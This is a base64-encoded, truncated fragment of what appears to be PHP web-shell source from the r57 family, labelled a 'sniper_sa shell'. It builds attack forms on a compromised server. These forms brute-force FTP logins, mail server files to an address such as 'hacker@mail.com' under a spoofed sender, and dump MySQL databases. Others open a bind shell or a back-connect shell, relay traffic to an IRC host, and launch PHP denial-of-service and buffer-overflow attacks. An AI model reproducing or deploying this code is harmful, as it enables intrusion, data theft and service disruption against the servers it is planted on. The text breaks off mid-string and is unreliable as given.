PjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfYnJ1dGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3JhZGlvJywnYnJ1dGVfbWV0aG9kJywwLCdwYXNzd2QnLDEpLiI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OSddLiIgKCA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnMnPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIjwvYT4gKTwvZm9udD4iKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ2NoZWNrYm94JywncmV2ZXJzZSBpZD1yZXZlcnNlJywwLCcxJywxKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAxJ10pOw0KZWNobyBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ2RpYycsMCkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOSddKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2xvZ2luJ10pPygkX1BPU1RbJ2Z0cF9sb2dpbiddKTooInJvb3QiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaWN0aW9uYXJ5JywwLCghZW1wdHkoJF9QT1NUWydkaWN0aW9uYXJ5J10pPygkX1BPU1RbJ2RpY3Rpb25hcnknXSk6KCRkaXIuJ3Bhc3N3LmRpYycpKSkpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKEBmdW5jdGlvbl9leGlzdHMoIm1haWwiKSl7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDInXSwnaWQxOScpLiR0YWJsZV91cDIuZGl2KCdpZDE5JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8nLDQ1LCghZW1wdHkoJF9QT1NUWyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNvbSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWFpbCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Zyb20nLDQ1LCghZW1wdHkoJF9QT1NUWydmcm9tJ10pPygkX1BPU1RbJ2Zyb20nXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsNDUsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImhlbGxvIGJpbGx5IikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDgnXS4kYXJyb3cuIjwvYj4iLCc8dGV4dGFyZWEgbmFtZT10ZXh0IGNvbHM9MzMgcm93cz0yPicuKCFlbXB0eSgkX1BPU1RbJ3RleHQnXSk/KCRfUE9TVFsndGV4dCddKTooIm1haWwgdGV4dCBoZXJlIikpLic8L3RleHRhcmVhPicpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8nLDQ1LCghZW1wdHkoJF9QT1NUWyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNvbSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWFpbF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsNDUsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJyw0NSwoIWVtcHR5KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiZmlsZSBmcm9tIHNuaXBlcl9zYSBzaGVsbCIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDQ1LCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkxJ10uJGFycm93LiI8L2I+IixpbigncmFkaW8nLCdjb21wcmVzcycsMCwnbm9uZScsMSkuJyAnLiRhcmgpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZigkbXlzcWxfb258fCRtc3NxbF9vbnx8JHBnX29ufHwkb3JhX29uKQ0Kew0KJHNlbGVjdCA9ICc8c2VsZWN0IG5hbWU9ZGI+JzsNCmlmKCRteXNxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NeVNRTDwvb3B0aW9uPic7DQppZigkbXNzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24+TVNTUUw8L29wdGlvbj4nOw0KaWYoJHBnX29uKSAgICAkc2VsZWN0IC49ICc8b3B0aW9uPlBvc3RncmVTUUw8L29wdGlvbj4nOw0KaWYoJG9yYV9vbikgICAkc2VsZWN0IC49ICc8b3B0aW9uPk9yYWNsZTwvb3B0aW9uPic7DQokc2VsZWN0IC49ICc8L3NlbGVjdD4nOw0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODInXSwnaWQyMCcpLiR0YWJsZV91cDIuZGl2KCdpZDIwJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQwJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgwJ10uJGFycm93LiI8L2I+Iiwkc2VsZWN0KTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDE1LCghZW1wdHkoJF9QT1NUWydkYl9zZXJ2ZXInXSk/KCRfUE9TVFsnZGJfc2VydmVyJ10pOigibG9jYWxob3N0IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdkYl9wb3J0JywxNSwoIWVtcHR5KCRfUE9TVFsnZGJfcG9ydCddKT8oJF9QT1NUWydkYl9wb3J0J10pOigiMzMwNiIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4nIDogJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooInJvb3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3AnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCJwYXNzd29yZCIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIm15c3FsIikpKS4nIDxiPi48L2I+ICcuaW4oJ3RleHQnLCdteXNxbF90YmwnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF90YmwnXSk/KCRfUE9TVFsnbXlzcWxfdGJsJ10pOigidXNlciIpKSkpOw0KZWNobyBzcigzNSxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsX2R1bXAnKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ2RpZiBpZD1kaWYnLDAsJzEnKS5pbigndGV4dCcsJ2RpZl9uYW1lJywzMSwoIWVtcHR5KCRfUE9TVFsnZGlmX25hbWUnXSk/KCRfUE9TVFsnZGlmX25hbWUnXSk6KCJkdW1wLnNxbCIpKSkpOw0KZWNobyBzcigzNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ5J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODMnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3NlcnZlcicsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg0J10uJGFycm93LiI8L2I+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5JyksIiIpOw0KZWNobyAkdGUuIjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48dGV4dGFyZWEgY29scz01NSByb3dzPTEgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTOyIpKS4iPC90ZXh0YXJlYT48YnI+Ii5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pLiI8L2Rpdj48L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKCEkc2FmZV9tb2RlJiYkdW5peCl7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MSddLCdpZDIxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OSddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxNSwnOTk5OScpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2JpbmRfcGFzcycsMTUsJ1NuSXBFcicpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiQ1wiPkM8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQzJ10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXAnLDE1LCgoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA/IChnZXRlbnYoJ1JFTU9URV9BRERSJykpIDogKCIxMjcuMC4wLjEiKSkpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDE1LCc4MCcpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiQ1wiPkM8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jYWxfcG9ydCcsMTUsJzgwJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncmVtb3RlX2hvc3QnLDE1LCdpcmMuZGFsbmV0LnJ1JykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncmVtb3RlX3BvcnQnLDE1LCc2NjY3JykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+ZGF0YXBpcGUucGw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiQ1wiPmRhdGFwaXBlLmM8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCg0KaWYoJHVuaXgpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODEnXSwnaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTM0JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNhZG1pbicsMTUsJ2lyY2FkbWluJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lyY3NlcnZlcicsMTUsJ2lyY3NlcnZlcicpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNjaGFuYWwnLDE1LCdpcmNjaGFubCcpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNuYW1lJywxNSwnaXJjbmFtZScpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lwcycsMTUsKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKSkpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydHMnLDE1LCc4MCcpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsNCg0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMwJ10sJ2lkMTAxMCcpLiR0YWJsZV91cDIuZGl2KCdpZDEwMTAnKS4kdHMuIjx0cj48dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgY29sb3I9cmVkIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMSddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnUmVjdXJzaXZlIG1lbW9yeSBleGhhdXN0aW9uJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdNZW1vcnlfbGltaXQgW3BhY2soKV0nKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbdW5zZXJpYWxpemUoKV0nKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBaZW5kRW5naW5lJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczUnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdTUWxpdGUgW2RsKCldIHZ1bG4nKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1BDUkUgW3ByZWdfbWF0Y2goKV0oUEhQPDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtX2xpbWl0IFtzdHJfcmVwZWF0KCldKFBIUDw1LjIuMSknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zOCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0FwYWNoZSBwcm9jZXNzIGtpbGxlcicpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M5JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnT3ZlcmxvYWQgW3RlbXBuYW0oKV0oUEhQPDUuMS4yKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxMCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbd29yZHdyYXAoKV0oUEhQPDUuMS4yKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbYXJyYXlfZmlsbCgpXShQSFA8NS4xLjIpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEyJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtzdWJzdHJfY29tcGFyZSgpXShQSFA8NS4xLjIpJykuJGZlKTsNCmVjaG8gJHRlLiI8L3RkPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBjb2xvcj1yZWQgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQXJyLiBDci4gNjRiW3Vuc2VyaWFsaXplKCldKFBIUDw1LjIuMSknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTQnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3N0cl9pcmVwbGFjZSgpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE1JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtodG1sZW50aXRpZXMoK